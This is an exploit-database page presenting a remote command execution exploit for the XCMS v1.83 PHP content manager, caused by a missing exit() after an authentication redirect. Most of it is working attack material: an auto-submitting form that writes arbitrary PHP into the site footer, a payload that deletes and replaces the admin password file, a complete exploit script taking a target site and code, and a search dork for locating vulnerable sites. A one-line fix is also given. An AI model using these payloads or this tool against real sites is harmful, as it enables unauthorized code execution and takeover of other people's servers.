Xcms v1.83 remote command execution (rce) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-04-01 | Type : webapps | Platform : php
This exploit / vulnerability Xcms v1.83 remote command execution (rce) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

Exploit Title: XCMS v1.83 - Remote Command Execution (RCE)
Author: Onurcan
Email: onurcanalcan@gmail.com
Site: ihteam.net
Script Download : http://www.xcms.it
Date: 26/12/2022

The xcms's footer(that is in "/dati/generali/footer.dtb") is included in each page of the xcms.
Taking "home.php" for example:

<?php
//home.php
[...]
include(CSTR."footer".STR); // <- "CSTR" and "STR" are the constants previously declared. They refers to "/dati/generali" and "dtb"
?>

So the xcms allow you to modify the footer throught a bugged page called cpie.php included in the admin panel.
So let's take a look to the bugged code.

<?php
//cpie.php
[...]
if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); } // <- so miss an exit() :-D
[...]
if(isset($_POST['salva'])){
Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control
}
[...]
?>

So with a simple html form we can change the footer.
Ex:

<form name="editor" action="http://[SITE_WITH_XCMS]/index.php?lng=it&pg=admin&s=cpie" method="post">
<input type="hidden" name="salva" value="OK" />
<textarea name="testo_0"><?php YOUR PHP CODE ?></textarea>
<input type="submit" value="Modifica" />
</form>
<script>document.editor.submit()</script>

Note: This is NOT a CSRF, this is just an example to change the footer without the admin credentials.



Trick: We can change the admin panel password by inserting this code in the footer:

<?php
$pwd = "owned"; // <- Place here your new password.
$pwd2 = md5($pwd);
unlink("dati/generali/pass.php");
$f = fopen("dati/generali/pass.php",w);
fwrite($f,"<?php \$mdp = \"$pwd2\"; ?>");
fclose($f);
?>

This code delete the old password file and then create a new one with your new password.


Fix:

<?php
//cpie.php
[...]
if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); exit(); } // with an exit() we can fix the bug.
[...]
if(isset($_POST['salva'])){
Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control
}
[...]
?>

So this is a simple exploit:


<?php
if(isset($_POST['send']) and isset($_POST['code']) and isset($_POST['site'])){
echo "
<form name=\"editor\" action=\"http://".$_POST['site']."/index.php?lng=it&pg=admin&s=cpie\" method=\"post\">
<input type=\"hidden\" name=\"salva\" value=\"OK\" />
<textarea name=\"testo_0\">".$_POST['code']."</textarea>
<input type=\"submit\" value=\"Modifica\" />
</form>
<script>document.editor.submit()</script>";
}else{
echo"
<pre>
XCMS <= v1.82 Remote Command Execution Vulnerability
Dork : inurl:\"mod=notizie\"
by Onurcan
Visit ihteam.net
</pre>
<form method=POST action=".$_POST['PHP_SELF'].">
<pre>
Site :
<input type=text name=site />
Code :
<textarea name=code cols=49 rows=14>Your code here</textarea>
<input type=submit value=Exploit />
<input type=hidden name=\"send\" />
</pre>
</form>";
}
?>